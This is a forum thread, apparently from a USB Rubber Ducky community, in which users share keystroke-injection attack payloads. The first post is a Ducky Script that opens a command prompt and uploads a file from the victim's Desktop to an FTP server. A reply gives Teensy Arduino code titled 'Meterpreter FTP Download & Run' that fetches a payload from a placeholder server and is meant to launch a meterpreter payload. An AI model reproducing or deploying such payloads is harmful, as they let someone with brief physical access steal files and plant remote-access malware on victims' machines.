Jump to content

[Payload] Upload using FTP


THE BOSS
 Share

Recommended Posts

Hello

this payload uploads a file using ftp

please give me your feedback


REM Upload file using FTP
GUI R
DELAY 200
STRING cmd
ENTER
DELAY 200
STRING ftp
ENTER
STRING o
ENTER
STRING 127.0.0.1 21
ENTER
DELAY 5000
STRING Administrator
ENTER
STRING PASSWORD
ENTER
DELAY 1000
STRING put %USERNAME%\Desktop\File.txt
ENTER
DELAY 5000
STRING bye
ENTER
STRING exit
ENTER
[/CODE]

Link to comment
Share on other sites

I did something like that for the Ducky v1 (Teensy). If I can find my script I'll share, it was a while ago.


/* Meterpreter FTP Download & Run
By: Mr-Protocol
*/
int Pwned = 0;
int ledPin = 11;
void setup()
{
//initialize the digital pin as an ouput.
pinMode(ledPin, OUTPUT);
}
void loop()
{
delay(20000);
if (Pwned == 0)
{
digitalWrite(ledPin, HIGH); //set LED on
CommandAtRunBar("cmd");
delay(500);
Keyboard.print("cd C:\\Users\\Public\\Documents");
PressAndRelease(KEY_ENTER,1);
delay(50);
Keyboard.print("del payload.txt");
PressAndRelease(KEY_ENTER,1); //removes payload if it exists.
Keyboard.print("ftp");
PressAndRelease(KEY_ENTER,1);
Keyboard.print("open SERVER");
PressAndRelease(KEY_ENTER,1);
delay(500);
Keyboard.print("rubberducky");
PressAndRelease(KEY_ENTER,1);
delay(50);
Keyboard.print("USBHACKS");
PressAndRelease(KEY_ENTER,1);
Keyboard.print("get payload.txt"); //Modify to meterpreter payload
PressAndRelease(KEY_ENTER,1);
delay(8000); //time for download estimated.
Keyboard.print("quit"); //exit ftp client
PressAndRelease(KEY_ENTER,1);
Keyboard.print("notepad.exe payload.txt");
PressAndRelease(KEY_ENTER,1);
Keyboard.print("exit");
PressAndRelease(KEY_ENTER,1);
Pwned = 1;
}
digitalWrite(ledPin, LOW); //set LED off
}
void CommandAtRunBar(char *SomeCommand)
{
Keyboard.set_modifier(128); //Windows key
Keyboard.set_key1(KEY_R); // use r key
Keyboard.send_now(); // send strokes
Keyboard.set_modifier(0); //prep release of control keys
Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.
Keyboard.send_now(); //Send the key changes
delay(500);
Keyboard.print(SomeCommand);
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void PressAndRelease(int KeyCode,int KeyCount)
{
int KeyCounter=0;
for (KeyCounter=0; KeyCounter!=KeyCount; KeyCounter++)
{
Keyboard.set_key1(KeyCode); // use r key
Keyboard.send_now(); // send strokes
Keyboard.set_key1(0);
Keyboard.send_now(); // send strokes
}
}
[/CODE]

Was old code, too scatterbrained to want to finish it or test further lol.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...